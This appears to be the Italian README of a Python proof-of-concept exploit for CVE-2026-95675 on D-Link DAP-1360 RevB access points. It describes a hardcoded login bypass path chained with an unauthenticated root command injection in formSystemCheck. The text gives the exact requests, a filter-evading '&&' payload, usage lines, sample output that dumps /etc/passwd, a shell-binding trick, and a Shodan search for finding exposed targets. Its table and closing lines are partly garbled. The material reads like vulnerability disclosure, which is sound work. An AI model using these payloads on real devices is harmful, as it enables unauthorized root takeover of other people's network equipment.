
PoC Python che sfrutta CVE-2026-95675, un'iniezione di comandi root non autenticata nel firmware D-Link DAP-1360 RevB tramite un bypass di autenticazione hardcoded e l'handler formSystemCheck.

Esecuzione di comandi root remota non autenticata (CWE-78 — OS Command Injection)
nell'handler formSystemCheck, raggiungibile tramite un backdoor di
autenticazione hardcoded. Verificato su DAP-1360 RevB, firmware 2.14B05.
Due problemi indipendenti concatenati:
1. Percorso di bypass dell'autenticazione hardcoded. In main (httpd @ 0x4064c8):
strcasecmp(request_path, "dEfWzDLOgIn") ; token @ 0x48046c
...
sw 1, 8(sp_login_slot) ; mark this source-IP as logged in
GET /dEfWzDLOgIn restituisce 404 (non è un file reale) ma, come effetto
collaterale, contrassegna lo slot di sessione dell'IP sorgente richiedente come
autenticato — senza username, password o captcha.
2. OS command injection. formSystemCheck
(POST /apply.cgi?formSystemCheck) costruisce un comando shell con:
_system("ping %s -c 2 >/tmp/test_ping", cgi("ipv4_ping"))
ipv4_ping viene passato non sanificato nella format string; _system() usa
vsprintf in un buffer fisso sullo stack e lo passa a system(). L'handler
non esegue alcun controllo di autenticazione proprio.
Il parser del body POST di busybox rimuove ;, |, backtick e newline, ma
&& sopravvive. Un payload deve terminare il prefisso ping e poi
concatenare con &&, ad esempio:
127.0.0.1 -c 1 && <command> > /www/out.htm && x
python3 autopoc.py <target> [command]
python3 autopoc.py 192.168.0.50
python3 autopoc.py 192.168.0.50 "ls -la /"
| Arg | Descrizione |
|---|---|
target | host/IP di destinazione (schema predefinito http://) |
command (opzionale) | comando root da eseguire (predefinito: ); usare , non /` |
GET /dEfWzDLOgIn — attiva il bypass di autenticazione hardcoded (restituisce 404; l'effetto collaterale avviene lato server).POST /apply.cgi?formSystemCheck con ipv4_ping=127.0.0.1 -c 1 && <cmd> > /www/<OUT> && x — command injection come root.GET /<OUT> — recupera l'output del comando (httpd serve .htm/.html, non .txt).[*] target : 192.168.0.50
[*] command : cat /etc/passwd
[*] GET /dEfWzDLOgIn -> 404 (login slot flagged)
[*] POST /apply.cgi?formSystemCheck -> 302
[+] output (RCE.htm):
------------------------------------------------------------
root:x:0:0:root:/:/dev/null
nobody:x:0:0:nobody:/:/dev/null
------------------------------------------------------------
nc, wget, base64, chmod, id — usare cat, echo, ls, cp, ecc._system(), sh <&5 >&5 2>&5 può collegare una shell alla connessione attiva (fragile sotto QEMU in user-mode; meglio su hardware reale).Shodan ("CAMEO-httpd", il banner del vendor httpd) mostra solo un piccolo
numero di istanze esposte a Internet di questo esatto codebase; il dispositivo
è principalmente un access point lato LAN. Lo sfruttamento richiede la
raggiungibilità dell'interfaccia di gestione web.
cat /etc/passwd&&;